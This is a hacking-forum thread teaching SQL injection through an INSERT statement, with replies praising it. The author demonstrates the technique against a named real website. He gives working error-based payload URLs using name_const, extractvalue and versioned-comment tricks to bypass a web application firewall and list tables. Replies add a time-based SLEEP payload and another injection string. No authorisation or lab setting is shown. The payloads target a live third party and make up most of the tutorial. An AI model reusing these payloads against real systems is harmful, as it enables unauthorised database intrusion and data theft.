Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[How to] Inject into INSERT statement.

Hello,

Sometime you will have an inject point with the INSERT statement, if you can go on with INSERT statement, you do not need to read my thread, if no, this is your trick.

So, the idea is using error-based to exploit, you can not use union-based with INSERT statement, as least I can not.

Lets begin with my machine first,

I have created a `Tutorial` database with `Persions` table and two column, `ID` and `Name` for testing.

Now we need an INSERT query, here:

Code
INSERT INTO Persions VALUES ('4','kimsonha')

Because we are using my machine, we have 2 inject point, they are what we input,`4` and `kimsonha`, it will have more if we have real vulnerable site.

We use this query to test:

Code
SELECT 1 FROM (SELECT name_const(version(),1),name_const(version(),1))a)
So here is result:

[Image: YcX33Go.png?1]

Nothing special, now let play with real life:

Quote:www.moustarchidine.fr/index.php?option=com_fireboard&Itemid=6&func=4'


As you see, there are vulnerable in INSERT statement:

[Image: Cu7hIpe.png?1]

First, we need make as least one inject point, so we go on to make a complete INSERT statement.
Code
www.moustarchidine.fr/index.php?option=com_fireboard&Itemid=6&func=4')%23

The site say:

[Image: 2hRQRsr.png?1]
Now, look at error and  count,
Quote:SQL=INSERT INTO jos_fb_whoisonline (`userid` , `time`, `what`, `task`, `do`, `func`,`link`, `userip`, `user`) VALUES ('0', '1361927862', 'Forum principal','','','4')#','/index.php?option=com_fireboard&Itemid=6&func=4%27)%23', '42.117.108.20', '0')

As you see, they have 9 columns, and we only give them 6 values, so we need 3 more to complete the INSERT statement.
Code
www.moustarchidine.fr/index.php?option=com_fireboard&Itemid=6&func=4','0','0','0')%23
The site load normally, it mean we have inject point now :) We have 4 inject points.

Let get the version:

Code
www.moustarchidine.fr/index.php?option=com_fireboard&Itemid=6&func=4','0','0',(select+1+from(select+name_const(version(),1),name_const(version(),1))a))%23

[Image: JPtQI8J.png?1]

You can use error-based to exploit more, because the version is higher than 5.1.5, so I use UpdateXML and ExtractValue to exploit.
Code
www.moustarchidine.fr/index.php?option=com_fireboard&Itemid=6&func=4','0','0',(select+extractvalue(1,concat(0x2e,(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1)))))%23

There are a WAF, so we need to bypass:

Code
www.moustarchidine.fr/index.php?option=com_fireboard&Itemid=6&func=4','0','0',(select+extractvalue(1,concat(0x2e,(select+/*!50000table_name*/+from+information_schema.tables+/*!50000where*/+table_schema=database()+limit+0,1)))))%23

And we done :)


[Image: NuXCi3l.png?1]

Thank for paying attention on my thread.

kimsonha @ HF

p/s: sorry for my bad english.
Nice tutorial! thanks for sharing! props
HQ tutorial kimsonha... keep it comming 👍
nice work, man
HQ tutorial kimsonha...
sweet tut man HQ keep it up :) 🎉 🎉
This is what im searching for!
INSERT DB. Hehehe :)
Yeah doing this with Error based is one way, and it's pretty good. Sometimes tho, you don't have mysql_error() enabling you the use of error based method, so you'd have to resort to other stuff. Boolean-TIME based through benchmark / SLEEP for example.
Code
' + (SELECT IF((SELECT 1)=1, SLEEP(1337), 1)));
That's one pain in the ass tho :\
(Oct 6, 2013 04:51 AM)Th3PonyWizard Wrote:  Yeah doing this with Error based is one way, and it's pretty good. Sometimes tho, you don't have mysql_error() enabling you the use of error based method, so you'd have to resort to other stuff. Boolean-TIME based through benchmark / SLEEP for example.
Code
' + (SELECT IF((SELECT 1)=1, SLEEP(1337), 1)));
That's one pain in the ass tho :\

or, you can simply do this:
if the injection is here-
INSERT INTO Persions VALUES ('4$injection','kimsonha')
you can-
',version())-- -
and then
INSERT INTO Persions VALUES ('4',version()) -- -','kimsonha')
if you cant find somethin to live for, you best find somethin to die for.
(Oct 6, 2013 07:06 AM)benzi Wrote:  or, you can simply do this:
if the injection is here-
INSERT INTO Persions VALUES ('4$injection','kimsonha')
you can-
',version())-- -
and then
INSERT INTO Persions VALUES ('4',version()) -- -','kimsonha')
I thought the whole point is not being able to see what you're inserting.
my friends iam try with this site but its not working ??!! why


Possibly Related Threads...
Thread / Author Replies Views Last Post
by viraAug 29, 2021 04:17 AM 10 332 Aug 29, 2021 04:17 AM
Last Post: pubgmobilecheat
by mans887Oct 4, 2020 01:32 PM 7 256 Oct 4, 2020 01:32 PM
Last Post: WHG-1.0
by abadguy87Oct 31, 2018 06:44 AM 2 370 Oct 31, 2018 06:44 AM
Last Post: abadguy87